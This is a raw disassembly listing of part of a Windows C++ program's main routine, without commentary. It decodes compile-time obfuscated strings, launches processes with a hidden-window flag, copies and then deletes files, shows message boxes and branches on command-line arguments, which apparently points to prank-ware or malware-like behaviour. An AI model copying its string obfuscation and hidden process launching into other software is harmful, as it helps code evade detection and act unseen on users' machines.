call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2250]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x227e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x2319543a1
lea rax, [rbp + 0x238e]
mov qword [rbp + 0x3a98], rax
nop
nop
lea rax, [rbp + 0x238f]
mov rcx, rax
call method.main.lambda__88::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8059030257012284765ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x238e]
lea rax, [rbp + 0x2360]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x23b0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x241e]
mov qword [rbp + 0x3a90], rax
nop
nop
lea rax, [rbp + 0x241f]
mov rcx, rax
call method.main.lambda__87::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__8059030257012284765ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x241e]
lea rax, [rbp + 0x23f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x244f]
mov qword [rbp + 0x3a88], rax
nop
nop
lea rcx, [rbp + 0x244f]
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x2420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x23d0]
lea rcx, [rbp + 0x23f0]
lea rdx, [rbp + 0x2420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2390]
lea rcx, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2340]
lea rcx, [rbp + 0x2360]
lea rdx, [rbp + 0x2390]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2340]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2420]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x244f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x23f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x241e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x23b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x238e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x2470]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x24be]
mov qword [rbp + 0x3a80], rax
nop
nop
lea rax, [rbp + 0x24bf]
mov rcx, rax
call method.main.lambda__89::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_48ull__12366310293419678589ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x24be]
lea rax, [rbp + 0x2490]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2450]
lea rcx, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2450]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2450]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x24be]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2470]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x24ee]
mov qword [rbp + 0x3a78], rax
nop
nop
lea rax, [rbp + 0x24ef]
mov rcx, rax
call method.main.lambda__90::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__8486855029665238385ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x24ee]
lea rax, [rbp + 0x24c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x24c0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x24c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x24ee]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3d90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x24f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x2510]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x24f0]
lea rax, [rbp + 0x2510]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x2510]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x24f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp dword [rbp + 0x3dd0], 8
jle 0x23195462e
lea rax, [rbp + 0x253e]
mov rcx, rax
call method.main.lambda__91::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__4579922377837488515ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x40
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195462e
mov eax, 1
jmp 0x231954633
mov eax, 0
test al, al
je 0x231954674
lea rax, [rbp + 0x253f]
mov rcx, rax
call method.main.lambda__92::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__16133008492669647309ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x2319546a5
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x2540]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2540]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2540]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x258a]
mov qword [rbp + 0x3a70], rax
nop
nop
lea rax, [rbp + 0x258b]
mov rcx, rax
call method.main.lambda__93::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__18285587794246346625ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x258a]
lea rax, [rbp + 0x2560]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2560]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2560]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x258a]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3cdc], 1
je 0x23195477f
cmp dword [rbp + 0x3cdc], 2
je 0x231954829
jmp 0x231954866
cmp dword [rbp + 0x3dd0], 7
jle 0x2319547c3
lea rax, [rbp + 0x258c]
mov rcx, rax
call method.main.lambda__94::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8933232203729580421ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x38
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319547c3
mov eax, 1
jmp 0x2319547c8
mov eax, 0
test al, al
je 0x23195480c
lea rax, [rbp + 0x258d]
mov rcx, rax
call method.main.lambda__95::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7052513609559011665ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x2319548a2
mov r9d, 0
mov r8d, 1
mov edx, 0
mov ecx, 0
call sym.f_exsh_int__int__int__int_
jmp 0x2319548a2
lea rax, [rbp + 0x258e]
mov rcx, rax
call method.main.lambda__96::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__9640484604255521195ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x2319548a2
lea rax, [rbp + 0x258f]
mov rcx, rax
call method.main.lambda__97::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__11641705219348303813ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x25bc]
mov qword [rbp + 0x3a68], rax
nop
nop
lea rax, [rbp + 0x25bd]
mov rcx, rax
call method.main.lambda__98::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__1241110374265514805ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x25bc]
lea rax, [rbp + 0x2590]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2590]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25bc]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3dd0], 0xe
jle 0x231954966
lea rax, [rbp + 0x25be]
mov rcx, rax
call method.main.lambda__99::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__3835738505568389581ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x70
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231954966
mov eax, 1
jmp 0x23195496b
mov eax, 0
test al, al
je 0x2319549af
lea rax, [rbp + 0x25bf]
mov rcx, rax
call method.main.lambda__100::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__2523589240045691389ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231954a33
lea rax, [rbp + 0x25ee]
mov qword [rbp + 0x3a60], rax
nop
nop
lea rax, [rbp + 0x25ef]
mov rcx, rax
call method.main.lambda__101::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_40ull__17945586656008950691ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x25ee]
lea rax, [rbp + 0x25c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x25c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x25c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25ee]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x261e]
mov qword [rbp + 0x3a58], rax
nop
nop
lea rax, [rbp + 0x261f]
mov rcx, rax
call method.main.lambda__102::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__10770841596910333749ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x261e]
lea rax, [rbp + 0x25f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x25f0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x25f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x261e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov r9d, 1
mov r8d, 0
mov edx, 0
mov ecx, 0
call sym.f_exsh_int__int__int__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x264c]
mov qword [rbp + 0x3a50], rax
nop
nop
lea rax, [rbp + 0x264d]
mov rcx, rax
call method.main.lambda__103::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15515434570079265195ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x264c]
lea rax, [rbp + 0x2620]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2620]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2620]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x264c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x264e]
mov rcx, rax
call method.main.lambda__105::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__12099774942387999525ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp + 0x264f]
mov rcx, rax
call method.main.lambda__104::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_15ull__12099774942387999525ull__char_.operator_char__
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x267e]
mov qword [rbp + 0x3a48], rax
nop
nop
lea rax, [rbp + 0x267f]
mov rcx, rax
call method.main.lambda__106::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15962401628248460185ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x267e]
lea rax, [rbp + 0x2650]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2650]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2650]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x267e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x26ae]
mov qword [rbp + 0x3a40], rax
nop
nop
lea rax, [rbp + 0x26af]
mov rcx, rax
call method.main.lambda__107::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_57ull__9310041219655517637ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x26ae]
lea rax, [rbp + 0x2680]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2680]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2680]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26ae]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0x2710
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x26de]
mov qword [rbp + 0x3a38], rax
nop
nop
lea rax, [rbp + 0x26df]
mov rcx, rax
call method.main.lambda__108::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__11617457077762636163ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x26de]
lea rax, [rbp + 0x26b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x26b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x26b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26de]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x270c]
mov qword [rbp + 0x3a30], rax
nop
nop
lea rax, [rbp + 0x270d]
mov rcx, rax
call method.main.lambda__109::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__406282418742057813ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x270c]
lea rax, [rbp + 0x26e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x26e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x26e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x270c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x270e]
mov rcx, rax
call method.main.lambda__111::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__16854498806147827707ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp + 0x270f]
mov rcx, rax
call method.main.lambda__110::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_15ull__16854498806147827707ull__char_.operator_char__
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x273a]
mov qword [rbp + 0x3a28], rax
nop
nop
lea rax, [rbp + 0x273b]
mov rcx, rax
call method.main.lambda__112::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13477340150258814439ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x273a]
lea rax, [rbp + 0x2710]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2710]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2710]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x273a]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3cdc], 1
je 0x231954e94
cmp dword [rbp + 0x3cdc], 2
je 0x231954f3e
jmp 0x231954f7b
cmp dword [rbp + 0x3dd0], 7
jle 0x231954ed8
lea rax, [rbp + 0x273c]
mov rcx, rax
call method.main.lambda__113::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15125233713924123635ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x38
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231954ed8
mov eax, 1
jmp 0x231954edd
mov eax, 0
test al, al
je 0x231954f21
lea rax, [rbp + 0x273d]
mov rcx, rax
call method.main.lambda__114::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__2095206593254491131ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231954fb7
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 1
call sym.f_exsh_int__int__int__int_
jmp 0x231954fb7
lea rax, [rbp + 0x273e]
mov rcx, rax
call method.main.lambda__115::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4462343648648476427ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231954fb7
lea rax, [rbp + 0x273f]
mov rcx, rax
call method.main.lambda__116::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__7342432492841990635ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
lea rax, [rbp + 0x276e]
mov qword [rbp + 0x3a20], rax
nop
nop
lea rax, [rbp + 0x276f]
mov rcx, rax
call method.main.lambda__117::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_41ull__18244460112053495245ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x276e]
lea rax, [rbp + 0x2740]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2740]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x2740]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x276e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x279c]
mov qword [rbp + 0x3a18], rax
nop
nop
